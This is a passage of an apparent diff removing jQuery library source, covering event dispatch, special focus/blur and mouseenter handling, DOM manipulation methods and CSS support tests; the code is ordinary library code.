elem, handleObj ); - } - } - } - - // Remove generic event handler if we removed something and no more handlers exist - // (avoids potential for endless recursion during removal of special event handlers) - if ( origCount && !handlers.length ) { - if ( !special.teardown || - special.teardown.call( elem, namespaces, elemData.handle ) === false ) { - - jQuery.removeEvent( elem, type, elemData.handle ); - } - - delete events[ type ]; - } - } - - // Remove data and the expando if it's no longer used - if ( jQuery.isEmptyObject( events ) ) { - dataPriv.remove( elem, "handle events" ); - } - }, - - dispatch: function( nativeEvent ) { - - var i, j, ret, matched, handleObj, handlerQueue, - args = new Array( arguments.length ), - - // Make a writable jQuery.Event from the native event object - event = jQuery.event.fix( nativeEvent ), - - handlers = ( - dataPriv.get( this, "events" ) || Object.create( null ) - )[ event.type ] || [], - special = jQuery.event.special[ event.type ] || {}; - - // Use the fix-ed jQuery.Event rather than the (read-only) native event - args[ 0 ] = event; - - for ( i = 1; i < arguments.length; i++ ) { - args[ i ] = arguments[ i ]; - } - - event.delegateTarget = this; - - // Call the preDispatch hook for the mapped type, and let it bail if desired - if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { - return; - } - - // Determine handlers - handlerQueue = jQuery.event.handlers.call( this, event, handlers ); - - // Run delegates first; they may want to stop propagation beneath us - i = 0; - while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) { - event.currentTarget = matched.elem; - - j = 0; - while ( ( handleObj = matched.handlers[ j++ ] ) && - !event.isImmediatePropagationStopped() ) { - - // If the event is namespaced, then each handler is only invoked if it is - // specially universal or its namespaces are a superset of the event's. - if ( !event.rnamespace || handleObj.namespace === false || - event.rnamespace.test( handleObj.namespace ) ) { - - event.handleObj = handleObj; - event.data = handleObj.data; - - ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle || - handleObj.handler ).apply( matched.elem, args ); - - if ( ret !== undefined ) { - if ( ( event.result = ret ) === false ) { - event.preventDefault(); - event.stopPropagation(); - } - } - } - } - } - - // Call the postDispatch hook for the mapped type - if ( special.postDispatch ) { - special.postDispatch.call( this, event ); - } - - return event.result; - }, - - handlers: function( event, handlers ) { - var i, handleObj, sel, matchedHandlers, matchedSelectors, - handlerQueue = [], - delegateCount = handlers.delegateCount, - cur = event.target; - - // Find delegate handlers - if ( delegateCount && - - // Support: IE <=9 - // Black-hole SVG <use> instance trees (trac-13180) - cur.nodeType && - - // Support: Firefox <=42 - // Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861) - // https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click - // Support: IE 11 only - // ...but not arrow key "clicks" of radio inputs, which can have `button` -1 (gh-2343) - !( event.type === "click" && event.button >= 1 ) ) { - - for ( ; cur !== this; cur = cur.parentNode || this ) { - - // Don't check non-elements (trac-13208) - // Don't process clicks on disabled elements (trac-6911, trac-8165, trac-11382, trac-11764) - if ( cur.nodeType === 1 && !( event.type === "click" && cur.disabled === true ) ) { - matchedHandlers = []; - matchedSelectors = {}; - for ( i = 0; i < delegateCount; i++ ) { - handleObj = handlers[ i ]; - - // Don't conflict with Object.prototype properties (trac-13203) - sel = handleObj.selector + " "; - - if ( matchedSelectors[ sel ] === undefined ) { - matchedSelectors[ sel ] = handleObj.needsContext ? - jQuery( sel, this ).index( cur ) > -1 : - jQuery.find( sel, this, null, [ cur ] ).length; - } - if ( matchedSelectors[ sel ] ) { - matchedHandlers.push( handleObj ); - } - } - if ( matchedHandlers.length ) { - handlerQueue.push( { elem: cur, handlers: matchedHandlers } ); - } - } - } - } - - // Add the remaining (directly-bound) handlers - cur = this; - if ( delegateCount < handlers.length ) { - handlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } ); - } - - return handlerQueue; - }, - - addProp: function( name, hook ) { - Object.defineProperty( jQuery.Event.prototype, name, { - enumerable: true, - configurable: true, - - get: isFunction( hook ) ? - function() { - if ( this.originalEvent ) { - return hook( this.originalEvent ); - } - } : - function() { - if ( this.originalEvent ) { - return this.originalEvent[ name ]; - } - }, - - set: function( value ) { - Object.defineProperty( this, name, { - enumerable: true, - configurable: true, - writable: true, - value: value - } ); - } - } ); - }, - - fix: function( originalEvent ) { - return originalEvent[ jQuery.expando ] ? - originalEvent : - new jQuery.Event( originalEvent ); - }, - - special: { - load: { - - // Prevent triggered image.load events from bubbling to window.load - noBubble: true - }, - click: { - - // Utilize native event to ensure correct state for checkable inputs - setup: function( data ) { - - // For mutual compressibility with _default, replace `this` access with a local var. - // `|| data` is dead code meant only to preserve the variable through minification. - var el = this || data; - - // Claim the first handler - if ( rcheckableType.test( el.type ) && - el.click && nodeName( el, "input" ) ) { - - // dataPriv.set( el, "click", ... ) - leverageNative( el, "click", true ); - } - - // Return false to allow normal processing in the caller - return false; - }, - trigger: function( data ) { - - // For mutual compressibility with _default, replace `this` access with a local var. - // `|| data` is dead code meant only to preserve the variable through minification. - var el = this || data; - - // Force setup before triggering a click - if ( rcheckableType.test( el.type ) && - el.click && nodeName( el, "input" ) ) { - - leverageNative( el, "click" ); - } - - // Return non-false to allow normal event-path propagation - return true; - }, - - // For cross-browser consistency, suppress native .click() on links - // Also prevent it if we're currently inside a leveraged native-event stack - _default: function( event ) { - var target = event.target; - return rcheckableType.test( target.type ) && - target.click && nodeName( target, "input" ) && - dataPriv.get( target, "click" ) || - nodeName( target, "a" ); - } - }, - - beforeunload: { - postDispatch: function( event ) { - - // Support: Firefox 20+ - // Firefox doesn't alert if the returnValue field is not set. - if ( event.result !== undefined && event.originalEvent ) { - event.originalEvent.returnValue = event.result; - } - } - } - } -}; - -// Ensure the presence of an event listener that handles manually-triggered -// synthetic events by interrupting progress until reinvoked in response to -// *native* events that it fires directly, ensuring that state changes have -// already occurred before other listeners are invoked. -function leverageNative( el, type, isSetup ) { - - // Missing `isSetup` indicates a trigger call, which must force setup through jQuery.event.add - if ( !isSetup ) { - if ( dataPriv.get( el, type ) === undefined ) { - jQuery.event.add( el, type, returnTrue ); - } - return; - } - - // Register the controller as a special universal handler for all event namespaces - dataPriv.set( el, type, false ); - jQuery.event.add( el, type, { - namespace: false, - handler: function( event ) { - var result, - saved = dataPriv.get( this, type ); - - if ( ( event.isTrigger & 1 ) && this[ type ] ) { - - // Interrupt processing of the outer synthetic .trigger()ed event - if ( !saved ) { - - // Store arguments for use when handling the inner native event - // There will always be at least one argument (an event object), so this array - // will not be confused with a leftover capture object. - saved = slice.call( arguments ); - dataPriv.set( this, type, saved ); - - // Trigger the native event and capture its result - this[ type ](); - result = dataPriv.get( this, type ); - dataPriv.set( this, type, false ); - - if ( saved !== result ) { - - // Cancel the outer synthetic event - event.stopImmediatePropagation(); - event.preventDefault(); - - return result; - } - - // If this is an inner synthetic event for an event with a bubbling surrogate - // (focus or blur), assume that the surrogate already propagated from triggering - // the native event and prevent that from happening again here. - // This technically gets the ordering wrong w.r.t. to `.trigger()` (in which the - // bubbling surrogate propagates *after* the non-bubbling base), but that seems - // less bad than duplication. - } else if ( ( jQuery.event.special[ type ] || {} ).delegateType ) { - event.stopPropagation(); - } - - // If this is a native event triggered above, everything is now in order - // Fire an inner synthetic event with the original arguments - } else if ( saved ) { - - // ...and capture the result - dataPriv.set( this, type, jQuery.event.trigger( - saved[ 0 ], - saved.slice( 1 ), - this - ) ); - - // Abort handling of the native event by all jQuery handlers while allowing - // native handlers on the same element to run. On target, this is achieved - // by stopping immediate propagation just on the jQuery event. However, - // the native event is re-wrapped by a jQuery one on each level of the - // propagation so the only way to stop it for jQuery is to stop it for - // everyone via native `stopPropagation()`. This is not a problem for - // focus/blur which don't bubble, but it does also stop click on checkboxes - // and radios. We accept this limitation. - event.stopPropagation(); - event.isImmediatePropagationStopped = returnTrue; - } - } - } ); -} - -jQuery.removeEvent = function( elem, type, handle ) { - - // This "if" is needed for plain objects - if ( elem.removeEventListener ) { - elem.removeEventListener( type, handle ); - } -}; - -jQuery.Event = function( src, props ) { - - // Allow instantiation without the 'new' keyword - if ( !( this instanceof jQuery.Event ) ) { - return new jQuery.Event( src, props ); - } - - // Event object - if ( src && src.type ) { - this.originalEvent = src; - this.type = src.type; - - // Events bubbling up the document may have been marked as prevented - // by a handler lower down the tree; reflect the correct value. - this.isDefaultPrevented = src.defaultPrevented || - src.defaultPrevented === undefined && - - // Support: Android <=2.3 only - src.returnValue === false ? - returnTrue : - returnFalse; - - // Create target properties - // Support: Safari <=6 - 7 only - // Target should not be a text node (trac-504, trac-13143) - this.target = ( src.target && src.target.nodeType === 3 ) ? - src.target.parentNode : - src.target; - - this.currentTarget = src.currentTarget; - this.relatedTarget = src.relatedTarget; - - // Event type - } else { - this.type = src; - } - - // Put explicitly provided properties onto the event object - if ( props ) { - jQuery.extend( this, props ); - } - - // Create a timestamp if incoming event doesn't have one - this.timeStamp = src && src.timeStamp || Date.now(); - - // Mark it as fixed - this[ jQuery.expando ] = true; -}; - -// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding -// https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html -jQuery.Event.prototype = { - constructor: jQuery.Event, - isDefaultPrevented: returnFalse, - isPropagationStopped: returnFalse, - isImmediatePropagationStopped: returnFalse, - isSimulated: false, - - preventDefault: function() { - var e = this.originalEvent; - - this.isDefaultPrevented = returnTrue; - - if ( e && !this.isSimulated ) { - e.preventDefault(); - } - }, - stopPropagation: function() { - var e = this.originalEvent; - - this.isPropagationStopped = returnTrue; - - if ( e && !this.isSimulated ) { - e.stopPropagation(); - } - }, - stopImmediatePropagation: function() { - var e = this.originalEvent; - - this.isImmediatePropagationStopped = returnTrue; - - if ( e && !this.isSimulated ) { - e.stopImmediatePropagation(); - } - - this.stopPropagation(); - } -}; - -// Includes all common event props including KeyEvent and MouseEvent specific props -jQuery.each( { - altKey: true, - bubbles: true, - cancelable: true, - changedTouches: true, - ctrlKey: true, - detail: true, - eventPhase: true, - metaKey: true, - pageX: true, - pageY: true, - shiftKey: true, - view: true, - "char": true, - code: true, - charCode: true, - key: true, - keyCode: true, - button: true, - buttons: true, - clientX: true, - clientY: true, - offsetX: true, - offsetY: true, - pointerId: true, - pointerType: true, - screenX: true, - screenY: true, - targetTouches: true, - toElement: true, - touches: true, - which: true -}, jQuery.event.addProp ); - -jQuery.each( { focus: "focusin", blur: "focusout" }, function( type, delegateType ) { - - function focusMappedHandler( nativeEvent ) { - if ( document.documentMode ) { - - // Support: IE 11+ - // Attach a single focusin/focusout handler on the document while someone wants - // focus/blur. This is because the former are synchronous in IE while the latter - // are async. In other browsers, all those handlers are invoked synchronously. - - // `handle` from private data would already wrap the event, but we need - // to change the `type` here. - var handle = dataPriv.get( this, "handle" ), - event = jQuery.event.fix( nativeEvent ); - event.type = nativeEvent.type === "focusin" ? "focus" : "blur"; - event.isSimulated = true; - - // First, handle focusin/focusout - handle( nativeEvent ); - - // ...then, handle focus/blur - // - // focus/blur don't bubble while focusin/focusout do; simulate the former by only - // invoking the handler at the lower level. - if ( event.target === event.currentTarget ) { - - // The setup part calls `leverageNative`, which, in turn, calls - // `jQuery.event.add`, so event handle will already have been set - // by this point. - handle( event ); - } - } else { - - // For non-IE browsers, attach a single capturing handler on the document - // while someone wants focusin/focusout. - jQuery.event.simulate( delegateType, nativeEvent.target, - jQuery.event.fix( nativeEvent ) ); - } - } - - jQuery.event.special[ type ] = { - - // Utilize native event if possible so blur/focus sequence is correct - setup: function() { - - var attaches; - - // Claim the first handler - // dataPriv.set( this, "focus", ... ) - // dataPriv.set( this, "blur", ... ) - leverageNative( this, type, true ); - - if ( document.documentMode ) { - - // Support: IE 9 - 11+ - // We use the same native handler for focusin & focus (and focusout & blur) - // so we need to coordinate setup & teardown parts between those events. - // Use `delegateType` as the key as `type` is already used by `leverageNative`. - attaches = dataPriv.get( this, delegateType ); - if ( !attaches ) { - this.addEventListener( delegateType, focusMappedHandler ); - } - dataPriv.set( this, delegateType, ( attaches || 0 ) + 1 ); - } else { - - // Return false to allow normal processing in the caller - return false; - } - }, - trigger: function() { - - // Force setup before trigger - leverageNative( this, type ); - - // Return non-false to allow normal event-path propagation - return true; - }, - - teardown: function() { - var attaches; - - if ( document.documentMode ) { - attaches = dataPriv.get( this, delegateType ) - 1; - if ( !attaches ) { - this.removeEventListener( delegateType, focusMappedHandler ); - dataPriv.remove( this, delegateType ); - } else { - dataPriv.set( this, delegateType, attaches ); - } - } else { - - // Return false to indicate standard teardown should be applied - return false; - } - }, - - // Suppress native focus or blur if we're currently inside - // a leveraged native-event stack - _default: function( event ) { - return dataPriv.get( event.target, type ); - }, - - delegateType: delegateType - }; - - // Support: Firefox <=44 - // Firefox doesn't have focus(in | out) events - // Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787 - // - // Support: Chrome <=48 - 49, Safari <=9.0 - 9.1 - // focus(in | out) events fire after focus & blur events, - // which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order - // Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857 - // - // Support: IE 9 - 11+ - // To preserve relative focusin/focus & focusout/blur event order guaranteed on the 3.x branch, - // attach a single handler for both events in IE. - jQuery.event.special[ delegateType ] = { - setup: function() { - - // Handle: regular nodes (via `this.ownerDocument`), window - // (via `this.document`) & document (via `this`). - var doc = this.ownerDocument || this.document || this, - dataHolder = document.documentMode ? this : doc, - attaches = dataPriv.get( dataHolder, delegateType ); - - // Support: IE 9 - 11+ - // We use the same native handler for focusin & focus (and focusout & blur) - // so we need to coordinate setup & teardown parts between those events. - // Use `delegateType` as the key as `type` is already used by `leverageNative`. - if ( !attaches ) { - if ( document.documentMode ) { - this.addEventListener( delegateType, focusMappedHandler ); - } else { - doc.addEventListener( type, focusMappedHandler, true ); - } - } - dataPriv.set( dataHolder, delegateType, ( attaches || 0 ) + 1 ); - }, - teardown: function() { - var doc = this.ownerDocument || this.document || this, - dataHolder = document.documentMode ? this : doc, - attaches = dataPriv.get( dataHolder, delegateType ) - 1; - - if ( !attaches ) { - if ( document.documentMode ) { - this.removeEventListener( delegateType, focusMappedHandler ); - } else { - doc.removeEventListener( type, focusMappedHandler, true ); - } - dataPriv.remove( dataHolder, delegateType ); - } else { - dataPriv.set( dataHolder, delegateType, attaches ); - } - } - }; -} ); - -// Create mouseenter/leave events using mouseover/out and event-time checks -// so that event delegation works in jQuery. -// Do the same for pointerenter/pointerleave and pointerover/pointerout -// -// Support: Safari 7 only -// Safari sends mouseenter too often; see: -// https://bugs.chromium.org/p/chromium/issues/detail?id=470258 -// for the description of the bug (it existed in older Chrome versions as well). -jQuery.each( { - mouseenter: "mouseover", - mouseleave: "mouseout", - pointerenter: "pointerover", - pointerleave: "pointerout" -}, function( orig, fix ) { - jQuery.event.special[ orig ] = { - delegateType: fix, - bindType: fix, - - handle: function( event ) { - var ret, - target = this, - related = event.relatedTarget, - handleObj = event.handleObj; - - // For mouseenter/leave call the handler if related is outside the target. - // NB: No relatedTarget if the mouse left/entered the browser window - if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) { - event.type = handleObj.origType; - ret = handleObj.handler.apply( this, arguments ); - event.type = fix; - } - return ret; - } - }; -} ); - -jQuery.fn.extend( { - - on: function( types, selector, data, fn ) { - return on( this, types, selector, data, fn ); - }, - one: function( types, selector, data, fn ) { - return on( this, types, selector, data, fn, 1 ); - }, - off: function( types, selector, fn ) { - var handleObj, type; - if ( types && types.preventDefault && types.handleObj ) { - - // ( event ) dispatched jQuery.Event - handleObj = types.handleObj; - jQuery( types.delegateTarget ).off( - handleObj.namespace ? - handleObj.origType + "." + handleObj.namespace : - handleObj.origType, - handleObj.selector, - handleObj.handler - ); - return this; - } - if ( typeof types === "object" ) { - - // ( types-object [, selector] ) - for ( type in types ) { - this.off( type, selector, types[ type ] ); - } - return this; - } - if ( selector === false || typeof selector === "function" ) { - - // ( types [, fn] ) - fn = selector; - selector = undefined; - } - if ( fn === false ) { - fn = returnFalse; - } - return this.each( function() { - jQuery.event.remove( this, types, fn, selector ); - } ); - } -} ); - - -var - - // Support: IE <=10 - 11, Edge 12 - 13 only - // In IE/Edge using regex groups here causes severe slowdowns. - // See https://connect.microsoft.com/IE/feedback/details/1736512/ - rnoInnerhtml = /<script|<style|<link/i, - - // checked="checked" or checked - rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i, - - rcleanScript = /^\s*<!\[CDATA\[|\]\]>\s*$/g; - -// Prefer a tbody over its parent table for containing new rows -function manipulationTarget( elem, content ) { - if ( nodeName( elem, "table" ) && - nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ) { - - return jQuery( elem ).children( "tbody" )[ 0 ] || elem; - } - - return elem; -} - -// Replace/restore the type attribute of script elements for safe DOM manipulation -function disableScript( elem ) { - elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type; - return elem; -} -function restoreScript( elem ) { - if ( ( elem.type || "" ).slice( 0, 5 ) === "true/" ) { - elem.type = elem.type.slice( 5 ); - } else { - elem.removeAttribute( "type" ); - } - - return elem; -} - -function cloneCopyEvent( src, dest ) { - var i, l, type, pdataOld, udataOld, udataCur, events; - - if ( dest.nodeType !== 1 ) { - return; - } - - // 1. Copy private data: events, handlers, etc. - if ( dataPriv.hasData( src ) ) { - pdataOld = dataPriv.get( src ); - events = pdataOld.events; - - if ( events ) { - dataPriv.remove( dest, "handle events" ); - - for ( type in events ) { - for ( i = 0, l = events[ type ].length; i < l; i++ ) { - jQuery.event.add( dest, type, events[ type ][ i ] ); - } - } - } - } - - // 2. Copy user data - if ( dataUser.hasData( src ) ) { - udataOld = dataUser.access( src ); - udataCur = jQuery.extend( {}, udataOld ); - - dataUser.set( dest, udataCur ); - } -} - -// Fix IE bugs, see support tests -function fixInput( src, dest ) { - var nodeName = dest.nodeName.toLowerCase(); - - // Fails to persist the checked state of a cloned checkbox or radio button. - if ( nodeName === "input" && rcheckableType.test( src.type ) ) { - dest.checked = src.checked; - - // Fails to return the selected option to the default selected state when cloning options - } else if ( nodeName === "input" || nodeName === "textarea" ) { - dest.defaultValue = src.defaultValue; - } -} - -function domManip( collection, args, callback, ignored ) { - - // Flatten any nested arrays - args = flat( args ); - - var fragment, first, scripts, hasScripts, node, doc, - i = 0, - l = collection.length, - iNoClone = l - 1, - value = args[ 0 ], - valueIsFunction = isFunction( value ); - - // We can't cloneNode fragments that contain checked, in WebKit - if ( valueIsFunction || - ( l > 1 && typeof value === "string" && - !support.checkClone && rchecked.test( value ) ) ) { - return collection.each( function( index ) { - var self = collection.eq( index ); - if ( valueIsFunction ) { - args[ 0 ] = value.call( this, index, self.html() ); - } - domManip( self, args, callback, ignored ); - } ); - } - - if ( l ) { - fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored ); - first = fragment.firstChild; - - if ( fragment.childNodes.length === 1 ) { - fragment = first; - } - - // Require either new content or an interest in ignored elements to invoke the callback - if ( first || ignored ) { - scripts = jQuery.map( getAll( fragment, "script" ), disableScript ); - hasScripts = scripts.length; - - // Use the original fragment for the last item - // instead of the first because it can end up - // being emptied incorrectly in certain situations (trac-8070). - for ( ; i < l; i++ ) { - node = fragment; - - if ( i !== iNoClone ) { - node = jQuery.clone( node, true, true ); - - // Keep references to cloned scripts for later restoration - if ( hasScripts ) { - - // Support: Android <=4.0 only, PhantomJS 1 only - // push.apply(_, arraylike) throws on ancient WebKit - jQuery.merge( scripts, getAll( node, "script" ) ); - } - } - - callback.call( collection[ i ], node, i ); - } - - if ( hasScripts ) { - doc = scripts[ scripts.length - 1 ].ownerDocument; - - // Re-enable scripts - jQuery.map( scripts, restoreScript ); - - // Evaluate executable scripts on first document insertion - for ( i = 0; i < hasScripts; i++ ) { - node = scripts[ i ]; - if ( rscriptType.test( node.type || "" ) && - !dataPriv.access( node, "globalEval" ) && - jQuery.contains( doc, node ) ) { - - if ( node.src && ( node.type || "" ).toLowerCase() !== "module" ) { - - // Optional AJAX dependency, but won't run scripts if not present - if ( jQuery._evalUrl && !node.noModule ) { - jQuery._evalUrl( node.src, { - nonce: node.nonce || node.getAttribute( "nonce" ) - }, doc ); - } - } else { - - // Unwrap a CDATA section containing script contents. This shouldn't be - // needed as in XML documents they're already not visible when - // inspecting element contents and in HTML documents they have no - // meaning but we're preserving that logic for backwards compatibility. - // This will be removed completely in 4.0. See gh-4904. - DOMEval( node.textContent.replace( rcleanScript, "" ), node, doc ); - } - } - } - } - } - } - - return collection; -} - -function remove( elem, selector, keepData ) { - var node, - nodes = selector ? jQuery.filter( selector, elem ) : elem, - i = 0; - - for ( ; ( node = nodes[ i ] ) != null; i++ ) { - if ( !keepData && node.nodeType === 1 ) { - jQuery.cleanData( getAll( node ) ); - } - - if ( node.parentNode ) { - if ( keepData && isAttached( node ) ) { - setGlobalEval( getAll( node, "script" ) ); - } - node.parentNode.removeChild( node ); - } - } - - return elem; -} - -jQuery.extend( { - htmlPrefilter: function( html ) { - return html; - }, - - clone: function( elem, dataAndEvents, deepDataAndEvents ) { - var i, l, srcElements, destElements, - clone = elem.cloneNode( true ), - inPage = isAttached( elem ); - - // Fix IE cloning issues - if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) && - !jQuery.isXMLDoc( elem ) ) { - - // We eschew jQuery#find here for performance reasons: - // https://jsperf.com/getall-vs-sizzle/2 - destElements = getAll( clone ); - srcElements = getAll( elem ); - - for ( i = 0, l = srcElements.length; i < l; i++ ) { - fixInput( srcElements[ i ], destElements[ i ] ); - } - } - - // Copy the events from the original to the clone - if ( dataAndEvents ) { - if ( deepDataAndEvents ) { - srcElements = srcElements || getAll( elem ); - destElements = destElements || getAll( clone ); - - for ( i = 0, l = srcElements.length; i < l; i++ ) { - cloneCopyEvent( srcElements[ i ], destElements[ i ] ); - } - } else { - cloneCopyEvent( elem, clone ); - } - } - - // Preserve script evaluation history - destElements = getAll( clone, "script" ); - if ( destElements.length > 0 ) { - setGlobalEval( destElements, !inPage && getAll( elem, "script" ) ); - } - - // Return the cloned set - return clone; - }, - - cleanData: function( elems ) { - var data, elem, type, - special = jQuery.event.special, - i = 0; - - for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) { - if ( acceptData( elem ) ) { - if ( ( data = elem[ dataPriv.expando ] ) ) { - if ( data.events ) { - for ( type in data.events ) { - if ( special[ type ] ) { - jQuery.event.remove( elem, type ); - - // This is a shortcut to avoid jQuery.event.remove's overhead - } else { - jQuery.removeEvent( elem, type, data.handle ); - } - } - } - - // Support: Chrome <=35 - 45+ - // Assign undefined instead of using delete, see Data#remove - elem[ dataPriv.expando ] = undefined; - } - if ( elem[ dataUser.expando ] ) { - - // Support: Chrome <=35 - 45+ - // Assign undefined instead of using delete, see Data#remove - elem[ dataUser.expando ] = undefined; - } - } - } - } -} ); - -jQuery.fn.extend( { - detach: function( selector ) { - return remove( this, selector, true ); - }, - - remove: function( selector ) { - return remove( this, selector ); - }, - - text: function( value ) { - return access( this, function( value ) { - return value === undefined ? - jQuery.text( this ) : - this.empty().each( function() { - if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { - this.textContent = value; - } - } ); - }, null, value, arguments.length ); - }, - - append: function() { - return domManip( this, arguments, function( elem ) { - if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { - var target = manipulationTarget( this, elem ); - target.appendChild( elem ); - } - } ); - }, - - prepend: function() { - return domManip( this, arguments, function( elem ) { - if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { - var target = manipulationTarget( this, elem ); - target.insertBefore( elem, target.firstChild ); - } - } ); - }, - - before: function() { - return domManip( this, arguments, function( elem ) { - if ( this.parentNode ) { - this.parentNode.insertBefore( elem, this ); - } - } ); - }, - - after: function() { - return domManip( this, arguments, function( elem ) { - if ( this.parentNode ) { - this.parentNode.insertBefore( elem, this.nextSibling ); - } - } ); - }, - - empty: function() { - var elem, - i = 0; - - for ( ; ( elem = this[ i ] ) != null; i++ ) { - if ( elem.nodeType === 1 ) { - - // Prevent memory leaks - jQuery.cleanData( getAll( elem, false ) ); - - // Remove any remaining nodes - elem.textContent = ""; - } - } - - return this; - }, - - clone: function( dataAndEvents, deepDataAndEvents ) { - dataAndEvents = dataAndEvents == null ? false : dataAndEvents; - deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents; - - return this.map( function() { - return jQuery.clone( this, dataAndEvents, deepDataAndEvents ); - } ); - }, - - html: function( value ) { - return access( this, function( value ) { - var elem = this[ 0 ] || {}, - i = 0, - l = this.length; - - if ( value === undefined && elem.nodeType === 1 ) { - return elem.innerHTML; - } - - // See if we can take a shortcut and just use innerHTML - if ( typeof value === "string" && !rnoInnerhtml.test( value ) && - !wrapMap[ ( rtagName.exec( value ) || [ "", "" ] )[ 1 ].toLowerCase() ] ) { - - value = jQuery.htmlPrefilter( value ); - - try { - for ( ; i < l; i++ ) { - elem = this[ i ] || {}; - - // Remove element nodes and prevent memory leaks - if ( elem.nodeType === 1 ) { - jQuery.cleanData( getAll( elem, false ) ); - elem.innerHTML = value; - } - } - - elem = 0; - - // If using innerHTML throws an exception, use the fallback method - } catch ( e ) {} - } - - if ( elem ) { - this.empty().append( value ); - } - }, null, value, arguments.length ); - }, - - replaceWith: function() { - var ignored = []; - - // Make the changes, replacing each non-ignored context element with the new content - return domManip( this, arguments, function( elem ) { - var parent = this.parentNode; - - if ( jQuery.inArray( this, ignored ) < 0 ) { - jQuery.cleanData( getAll( this ) ); - if ( parent ) { - parent.replaceChild( elem, this ); - } - } - - // Force callback invocation - }, ignored ); - } -} ); - -jQuery.each( { - appendTo: "append", - prependTo: "prepend", - insertBefore: "before", - insertAfter: "after", - replaceAll: "replaceWith" -}, function( name, original ) { - jQuery.fn[ name ] = function( selector ) { - var elems, - ret = [], - insert = jQuery( selector ), - last = insert.length - 1, - i = 0; - - for ( ; i <= last; i++ ) { - elems = i === last ? this : this.clone( true ); - jQuery( insert[ i ] )[ original ]( elems ); - - // Support: Android <=4.0 only, PhantomJS 1 only - // .get() because push.apply(_, arraylike) throws on ancient WebKit - push.apply( ret, elems.get() ); - } - - return this.pushStack( ret ); - }; -} ); -var rnumnonpx = new RegExp( "^(" + pnum + ")(?!px)[a-z%]+$", "i" ); - -var rcustomProp = /^--/; - - -var getStyles = function( elem ) { - - // Support: IE <=11 only, Firefox <=30 (trac-15098, trac-14150) - // IE throws on elements created in popups - // FF meanwhile throws on frame elements through "defaultView.getComputedStyle" - var view = elem.ownerDocument.defaultView; - - if ( !view || !view.opener ) { - view = window; - } - - return view.getComputedStyle( elem ); - }; - -var swap = function( elem, options, callback ) { - var ret, name, - old = {}; - - // Remember the old values, and insert the new ones - for ( name in options ) { - old[ name ] = elem.style[ name ]; - elem.style[ name ] = options[ name ]; - } - - ret = callback.call( elem ); - - // Revert the old values - for ( name in options ) { - elem.style[ name ] = old[ name ]; - } - - return ret; -}; - - -var rboxStyle = new RegExp( cssExpand.join( "|" ), "i" ); - - - -( function() { - - // Executing both pixelPosition & boxSizingReliable tests require only one layout - // so they're executed at the same time to save the second computation. - function computeStyleTests() { - - // This is a singleton, we need to execute it only once - if ( !div ) { - return; - } - - container.style.cssText = "position:absolute;left:-11111px;width:60px;" + - "margin-top:1px;padding:0;border:0"; - div.style.cssText = - "position:relative;display:block;box-sizing:border-box;overflow:scroll;" + - "margin:auto;border:1px;padding:1px;" + - "width:60%;top:1%"; - documentElement.appendChild( container ).appendChild( div ); - - var divStyle = window.getComputedStyle( div ); - pixelPositionVal = divStyle.top !== "1%"; - - // Support: Android 4.0 - 4.3 only, Firefox <=3 - 44 - reliableMarginLeftVal = roundPixelMeasures( divStyle.marginLeft ) === 12; - - // Support: Android 4.0 - 4.3 only, Safari <=9.1 - 10.1, iOS <=7.0 - 9.3 - // Some styles come back with percentage values, even though they shouldn't - div.style.right = "60%"; - pixelBoxStylesVal = roundPixelMeasures( divStyle.right ) === 36; - - // Support: IE 9 - 11 only - // Detect misreporting of content dimensions for box-sizing:border-box elements - boxSizingReliableVal = roundPixelMeasures( divStyle.width ) === 36; - - // Support: IE 9 only - // Detect overflow:scroll screwiness (gh-3699) - // Support: Chrome <=64 - // Don't get tricked when zoom affects offsetWidth (gh-4029) - div.style.position = "absolute"; - scrollboxSizeVal = roundPixelMeasures( div.offsetWidth / 3 ) === 12; - - documentElement.removeChild( container ); - - // Nullify the div so it wouldn't be stored in the memory and - // it will also be a sign that checks already performed - div = null; - } - - function roundPixelMeasures( measure ) { - return Math.round( parseFloat( measure ) ); - } - - var pixelPositionVal, boxSizingReliableVal, scrollboxSizeVal, pixelBoxStylesVal, - reliableTrDimensionsVal, reliableMarginLeftVal, - container = document.createElement( "div" ), - div = document.createElement( "div" ); - - // Finish early in limited (non-browser) environments - if ( !div.style ) { - return; - } - - // Support: IE <=9 - 11 only - // Style of cloned element affects source element cloned (trac-8908) - div.style.backgroundClip = "content-box"; - div.cloneNode( true ).style.backgroundClip = ""; - support.clearCloneStyle = div.style.backgroundClip === "content-box"; - - jQuery.extend( support, { - boxSizingReliable: function() { - computeStyleTests(); - return boxSizingReliableVal; - }, - pixelBoxStyles: function() { - computeStyleTests(); - return pixelBoxStylesVal; - }, - pixelPosition: function() { - computeStyleTests(); - return pixelPositionVal; - }, - reliableMarginLeft: function() { - computeStyleTests(); - return reliableMarginLeftVal; - }, - scrollboxSize: function() { - computeStyleTests(); - return scrollboxSizeVal; - }, - - // Support: IE 9 - 11+, Edge 15 - 18+ - // IE/Edge misreport `getComputedStyle` of table rows with width/height - // set in CSS while `offset*` properties report correct values. - // Behavior in IE 9 is more subtle than in newer versions & it passes - // some versions of this test; make sure not to make it pass there! - // - // Support: Firefox 70+ - // Only Firefox includes border widths - // in computed dimensions. (gh-4529) - reliableTrDimensions: function() { - var table, tr, trChild, 